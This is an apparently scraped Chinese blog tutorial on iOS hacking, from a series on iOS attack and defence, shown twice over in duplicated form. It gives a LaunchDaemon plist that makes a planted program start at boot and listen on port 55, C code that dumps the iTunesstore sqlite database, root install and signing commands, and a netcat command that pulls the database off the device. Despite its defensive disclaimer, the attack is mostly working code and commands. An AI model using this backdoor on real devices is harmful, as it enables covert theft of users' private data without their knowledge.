IOS安全攻防(二)
2012-12-14 15:35
218 查看
后台daemon非法窃取用户iTunesstore信息
本人郑重声明:并不鼓励窃取用户隐私等行为,一切hack学习都只是为了研究如何防御。OK,进入正题。
1.首先打开Xcode创建一个plist属性文件,如下图所示:
其中要注意一下通信服务名,我定为55。用编辑器打开,即为:
[plain] view plaincopyprint?
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Program</key>
<string>/usr/bin/ncdemo</string>
<key>StandardErrorPath</key>
<string>/dev/null</string>
<key>SessionCreate</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/ncdemo</string>
</array>
<key>inetdCompatibility</key>
<dict>
<key>Wait</key>
<false/>
</dict>
<key>Sockets</key>
<dict>
<key>Listeners</key>
<dict>
<key>SockServiceName</key>
<string>55</string>
</dict>
</dict>
</dict>
</plist>
最后,将plist文件 scp 至 root@192.168.1.114:/System/Library/LaunchDaemons/ 下 .
[cpp] view plaincopyprint?
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#define FILE "/var/mobile/Library/com.apple.itunesstored/itunesstored2.sqlitedb"
int main(){
int fd = open(FILE, O_RDONLY);
char buf[128];
int ret = 0;
if(fd < 0)
return -1;
while (( ret = read(fd, buf, sizeof(buf))) > 0){
write( fileno(stdout), buf, ret);
}
close(fd);
return 0;
}
2.将ncdemo scp 到设备中,并登录
$ scp ncdemo root@192.168.1.114:ncdemo
$ ssh root@192.168.1.114
3.签名
#ldid -S ncdemo
#mv ncdemo /usr/bin
$ nc 192.168.1.114 55 > itunesstored2.sqlitedb
$ strings itunesstored2.sqlitedb
于是乎,我们就清晰的得到了iPhone /iPad 设备上都安装了哪些app :
当然,除了这些,你想干什么都可以……夜深了,先写到这里吧……
本人郑重声明:并不鼓励窃取用户隐私等行为,一切hack学习都只是为了研究如何防御。OK,进入正题。
开机自启动
在iOS安全攻防(一):Hack必备的命令与工具中,介绍了如何编译自己的C程序并手动启动。今天介绍如何使程序变为开机自启动。1.首先打开Xcode创建一个plist属性文件,如下图所示:
其中要注意一下通信服务名,我定为55。用编辑器打开,即为:
[plain] view plaincopyprint?
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Program</key>
<string>/usr/bin/ncdemo</string>
<key>StandardErrorPath</key>
<string>/dev/null</string>
<key>SessionCreate</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/ncdemo</string>
</array>
<key>inetdCompatibility</key>
<dict>
<key>Wait</key>
<false/>
</dict>
<key>Sockets</key>
<dict>
<key>Listeners</key>
<dict>
<key>SockServiceName</key>
<string>55</string>
</dict>
</dict>
</dict>
</plist>
最后,将plist文件 scp 至 root@192.168.1.114:/System/Library/LaunchDaemons/ 下 .
编写读取iTunesstore数据库程序
读取itunesstored2.sqlitedb信息,并输出到stdout中,便于我们读取。[cpp] view plaincopyprint?
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#define FILE "/var/mobile/Library/com.apple.itunesstored/itunesstored2.sqlitedb"
int main(){
int fd = open(FILE, O_RDONLY);
char buf[128];
int ret = 0;
if(fd < 0)
return -1;
while (( ret = read(fd, buf, sizeof(buf))) > 0){
write( fileno(stdout), buf, ret);
}
close(fd);
return 0;
}
编译、拷贝、签名
1.编译方法上篇文章已经介绍清楚,这里不再重复,直接¥%¥#%¥……%# 生成运行在ARM的 ncdemo2.将ncdemo scp 到设备中,并登录
$ scp ncdemo root@192.168.1.114:ncdemo
$ ssh root@192.168.1.114
3.签名
#ldid -S ncdemo
#mv ncdemo /usr/bin
抓取 iTunesstore 数据信息
这时,我们只需要利用netcat,指定之前定义的服务名称,轻松在本地抓取设备 iTunesstore 信息.$ nc 192.168.1.114 55 > itunesstored2.sqlitedb
分析 iTunesstore 数据信息
好吧,这里就介绍个最简单的应用,利用string命令查看:$ strings itunesstored2.sqlitedb
于是乎,我们就清晰的得到了iPhone /iPad 设备上都安装了哪些app :
当然,除了这些,你想干什么都可以……夜深了,先写到这里吧……
相关文章推荐
- iOS安全攻防(十七):Fishhook
- iOS安全攻防(五):使用Cycript修改支付宝app运行时
- iOS安全攻防(十九):基于脚本实现动态库注入
- iOS安全攻防(十五):使用iNalyzer分析应用程序
- iOS 安全攻防系列(一):获取手机联系人
- ios安全攻防(三)使用Reveal分析他人app
- iOS安全攻防:static和被裁的符号表,Objective-C代码混淆,敏感逻辑的保护方案(1)
- iOS安全攻防(九):使用Keychain-Dumper导出keychain数据
- iOS安全攻防(四):阻止GDB依附
- iOS安全攻防
- [ios]安全攻防之代码混淆的一个小工具
- iOS安全攻防(十七):Fishhook
- iOS安全攻防(五)使用dpkg安装deb到iOS设备
- iOS安全攻防(三):使用Reveal分析他人app
- iOS安全攻防(十三)arm汇编之函数(int参数)传递
- iOS安全攻防(二十):越狱检测的攻与防
- ios安全攻防(四)阻止GDB依附
- iOS安全攻防:越狱检测的攻与防 废除应用程序的ASLR特性
- iOS安全攻防(三):使用Reveal分析他人app
- iOS安全攻防(二十三):Objective-C代码混淆